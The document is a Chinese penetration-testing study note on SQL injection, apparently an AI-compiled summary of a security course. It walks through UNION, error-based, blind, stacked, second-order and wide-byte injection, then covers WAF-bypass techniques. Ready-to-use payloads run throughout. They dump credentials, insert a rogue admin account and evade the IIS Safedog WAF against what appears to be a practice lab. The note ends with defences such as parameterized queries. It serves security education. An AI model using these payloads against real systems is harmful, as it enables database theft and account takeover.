8_渗透测试SQL注入漏洞深度笔记
SQL注入漏洞深度笔记(从原理到实战绕过)
目录
- SQL注入基础概念
- SQL注入分类体系
- 手工注入通用流程
- 各注入技术详解(由易到难)
- 4.1 联合查询注入(UNION)
- 4.2 报错注入
- 4.3 布尔盲注
- 4.4 时间盲注
- 4.5 堆叠注入
- 4.6 二次注入
- 4.7 宽字节注入
- 4.8 特殊位置注入(Cookie、Base64、XFF)
- SQL注入绕过技术(WAF绕过)
- 5.1 语法层绕过
- 5.2 编码层绕过
- 5.3 函数/操作符替代绕过
- 5.4 协议层绕过
- 5.5 逻辑层绕过
- 实战绕过案例——IIS安全狗
- 防御建议与总结
1. SQL注入基础概念
1.1 漏洞定义
Web程序未对用户输入进行过滤,直接将参数拼接到SQL语句中执行,导致攻击者可执行任意SQL命令。
1.2 产生条件(两个必要条件)
- 参数用户可控:前端参数可由用户任意修改。
- 参数带入数据库查询:参数直接拼接到SQL语句并执行。
1.3 典型危害
- 查询/导出敏感数据
- 写入WebShell获取服务器权限
- 绕过登录验证
- 执行系统命令(需特定条件)
1.4 注入原理演示
-- 正常查询
select * from users where id = 1
-- 注入测试
id = 1' → 报错(语法错误)
id = 1 and 1=1 → 正常返回
id = 1 and 1=2 → 无返回(或异常)
若 and 1=1 与 and 1=2 返回页面不同,则大概率存在注入。
2. SQL注入分类体系
2.1 按请求方式
| 类型 | 参数位置 | 特点 |
|---|---|---|
| GET注入 | URL查询字符串 | 有长度限制,需URL编码 |
| POST注入 | 请求体 | 无长度限制 |
| Cookie注入 | Cookie头 | 常被开发者忽略 |
2.2 按数据提交类型(闭合方式)
| 类型 | 示例SQL | 闭合方式 |
|---|---|---|
| 整型 | id = 1 |
无需引号闭合 |
| 字符型 | username = 'admin' |
需闭合单引号 |
| 搜索型 | title like '%关键词%' |
需处理百分号和引号 |
2.3 按注入技术(由简到难)
- 联合查询注入(UNION)
- 报错注入
- 布尔盲注
- 时间盲注
- 堆叠注入
- 二次注入
- 宽字节注入
- 特殊位置注入(Cookie/Base64/XFF)
3. 手工注入通用流程
以下步骤适用于大多数MySQL注入场景(以字符型为例):
-
判断注入点及类型
输入'报错 → 字符型;输入and 1=1/and 1=2观察页面差异。 -
猜测字段数
order by N(N从1递增),直到报错,字段数 = N-1。 -
确定回显位置
-1' union select 1,2,3,...,N --+,观察页面哪些数字被显示。 -
获取数据库基本信息
database(),version(),user(),@@datadir等。 -
获取所有表名
利用information_schema.tables。 -
获取指定表的字段名
利用information_schema.columns。 -
获取数据
联合查询或逐行获取。
4. 各注入技术详解(由易到难)
4.1 联合查询注入(UNION)
原理:
通过 UNION SELECT 将攻击者构造的查询结果附加到原查询结果上,要求前后两个查询的列数相同。
核心 Payload:
-- 获取当前数据库名
-1' union select 1,database()--+
-- 获取所有表名(group_concat合并)
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
-- 获取某表所有字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
-- 获取用户表数据
-1' union select 1,group_concat(user,0x3a,password) from users--+
要点:
- 用
-1使原查询无结果,便于显示第二查询。 0x3a是冒号:的十六进制,用于分隔字段。- 表名/字段名可用十六进制避免引号。
4.2 报错注入
原理:
利用数据库报错信息将查询内容回显出来,适用于页面显示数据库错误信息。
常用函数:
updatexml():最多回显32字符extractvalue()floor()+group bypolygon(),multipoint()等几何函数(用于绕过)
Payload 示例:
-- 获取当前用户
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
-- 获取表名(使用floor,无长度限制)
1' and (select 1 from(select count(*),concat((select (select distinct concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database() limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
注意:updatexml 只能显示32字符,超长内容需用 substring 分段获取。
4.3 布尔盲注
适用场景:
页面只返回“真”或“假”两种状态,无显错信息。
核心函数:length(), substr(), if()。
Payload 示例:
-- 判断数据库名长度是否为4
1' and if(length(database())=4,1,0)--+
-- 判断数据库名第一个字符是否为'd'
1' and if(substr(database(),1,1)='d',1,0)--+
效率提升:
用 BurpSuite 的 Intruder 爆破字符集(0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@_)。
4.4 时间盲注
适用场景:
页面无任何回显差异(无论真假返回相同),通过延时判断。
核心函数:sleep(), if()。
Payload 示例:
-- 若数据库长度大于1,延时5秒
1' and if(length(database())>1,sleep(5),0)--+
自动化:
可用 sqlmap 指定 --technique=T 进行时间注入检测。
4.5 堆叠注入
原理:
使用分号 ; 分隔多条SQL语句,可执行任意SQL(增删改查、创建用户等)。
条件:
数据库连接函数支持多语句执行,如 mysqli_multi_query()。
Payload 示例:
-- 插入管理员账号
1'; insert into users(id,username,password) values(1000,'hacker','123456')--+
注意:堆叠注入的结果可能只返回第一条查询的结果,但后续语句依然生效。
4.6 二次注入
原理:
第一次插入数据时对特殊字符转义(如 addslashes),但存入数据库的是原始数据;第二次从数据库取出时未过滤,直接拼接,导致注入。
典型场景:
注册 → 修改密码;留言 → 编辑文章;邮箱绑定 → 修改设置。
测试方法:
注册两个用户 a' and 1=1# 和 a' and 1=2#,然后在修改密码功能中观察是否一个成功一个失败。
利用实例:
注册 admin'#,修改密码时即可修改 admin 的密码。
4.7 宽字节注入
原理:
当数据库编码为 GBK 时,%df%27 被转义为 %df%5c%27,而 %df%5c 是一个合法宽字节字符(運),导致反斜杠被“吃掉”,单引号逃逸。
前提条件:
- PHP 编码与 MySQL 编码不一致(如 PHP UTF-8,MySQL GBK)。
- 字符集包含低字节为
0x5C的字符(GBK、Big5 有,UTF-8 无)。
Payload 示例:
-1%df%27 union select 1,version(),database()--+
4.8 特殊位置注入
4.8.1 Cookie注入
参数从 $_COOKIE 获取,未过滤。
Cookie: uname=admin' union select 1,2,user()--+
4.8.2 Base64编码注入
参数经 Base64 编码,服务端解码后拼接到 SQL。
- 原始:
admin' and 1=1--+ - Base64:
YWRtaW4nIGFuZCAxPTEtLQ==
4.8.3 XFF注入
服务端获取 X-Forwarded-For 或 HTTP_CLIENT_IP 头,未过滤。
X-Forwarded-For: 127.0.0.1' and 1=1--+
5. SQL注入绕过技术(WAF绕过)
以下绕过方法针对常见的WAF(安全狗、云WAF、360WebScan等)拦截规则。
5.1 语法层绕过
| 绕过对象 | 方法 | 示例 |
|---|---|---|
| 空格 | 使用 %09, %0a, %0b, %0c, %0d, %a0 或注释 /**/ |
union/**/select |
| 大小写 | 混合大小写 | UnIoN SeLeCt |
| 注释 | 内联注释 /*!...*/ |
/*!union*/ /*!select*/ |
| 换行 | 换行分割关键字 | union--+\nselect |
| 双关键字 | 插入多余关键字,过滤后拼接 | UNIunionON → UNION |
| 花括号 | 在 select 后加 {x 1} |
union select{x 1},user() |
| ALL/DISTINCT | 加在 union 后 | union all select, union distinct select |
5.2 编码层绕过
| 编码类型 | 说明 | 示例 |
|---|---|---|
| URL编码 | 将字符转为 %xx |
%75%6e%69%6f%6e → union |
| 双重URL编码 | 二次编码,服务器 urldecode 两次 |
%2527 → %27 → ' |
| Unicode编码 | %uXXXX 形式(IIS支持) |
%u0075%u006e%u0069%u006f%u006e |
| 十六进制 | 表名/字段名用0x... | TABLE_NAME=0x7573657273(users) |
5.3 函数/操作符替代绕过
| 原方式 | 替代方式 | 示例 |
|---|---|---|
substr(string,1,1) |
substr(string from 1 for 1) |
绕过逗号过滤 |
mid() |
同 substr |
绕过函数名过滤 |
逗号 , |
使用 join 或 limit offset |
limit 1 offset 0 |
等号 = |
like, rlike, regexp, <, > |
user() like 'r%' |
and / or |
&& / ` |
5.4 协议层绕过
-
分块传输(chunked):
在 HTTP 头加Transfer-Encoding: chunked,将 payload 分块发送,部分 WAF 不解析 chunked 内容。 -
multipart/form-data:
将参数放在Content-Disposition中,WAF 可能忽略该部分。 -
charset 编码:
修改Content-Type的charset为ibm037等,将 payload 按该编码提交,WAF 不识但服务器可解。
5.5 逻辑层绕过
-
参数污染(HPP):
PHP 取最后一个参数,ASP 取所有参数拼接。例:id=1&id=-1 union select... -
白名单绕过:
WAF 不拦截特定路径如/admin.php、/phpmyadmin。 -
静态文件绕过:
添加.jpg、.css等后缀,如?name=vince.jpg&id=1 union... -
Pipeline 绕过:
在同一个 TCP 连接中发送多个请求,WAF 可能只检测第一个。
6. 实战绕过案例——IIS安全狗
以下为绕过 IIS 安全狗(WAF)的实测 Payload,供参考。
6.1 整型布尔盲注(判断版本)
GET /vul/sqli/sqli_get.php?id=\Nor(substr(@@version+from+1+for+1)=5)--+&submit=1
- 使用
\N替代数字,or被\Nor绕过(反斜杠干扰)。
6.2 字符型布尔盲注(if + hex 比较)
GET /vul/sqli/sqli_str.php?name=vince'and+0x31!=if((substr((select+password+from+`users`+limit+1)+from+2+for+1)='1'),0x30,0x31)--+
- 利用
if返回0x30或0x31,与0x31比较,根据页面正确/错误判断。
6.3 联合查询绕过(字符型)
GET /vul/sqli/sqli_str.php?name=vince%27+union/*//--//*/select+1,(select+password+from+`users`+limit+1)--+
- 用
/*//--//*/作为注释,干扰 WAF 正则,同时反引号保护表名。
6.4 POST整型联合注入
POST /vul/sqli/sqli_id.php
id=-1+union+select+1,(select+concat(username,password)+from+users+limit+1)&submit=1
- 简单空格和注释未使用,但利用反引号表和列名绕过关键字检测。
7. 防御建议与总结
7.1 最佳实践
- 使用预编译/参数化查询(如 PDO、MyBatis)—— 彻底杜绝注入。
- 输入验证:严格校验数据类型、长度、格式(白名单)。
- 特殊字符转义(仅作辅助,不如预编译可靠)。
- 统一字符编码(UTF-8),避免宽字节问题。
- 最小权限原则:数据库用户只授予必要权限(如仅 SELECT)。
- 关闭错误回显(
display_errors = Off)。 - 部署 WAF 并定期更新规则。
7.2 总结
SQL注入漏洞历史悠久但依然广泛存在,学习其原理、分类、手工利用技巧及绕过方法是安全从业者的必修课。本文由浅入深,从基础到实战,覆盖了主流注入技术和 WAF 绕过思路。所有技术仅限合法授权测试,严禁用于非法用途。
注意本笔记是源于暗月安全培训 https://edu.moonsec.com 的ai整合版

浙公网安备 33010602011771号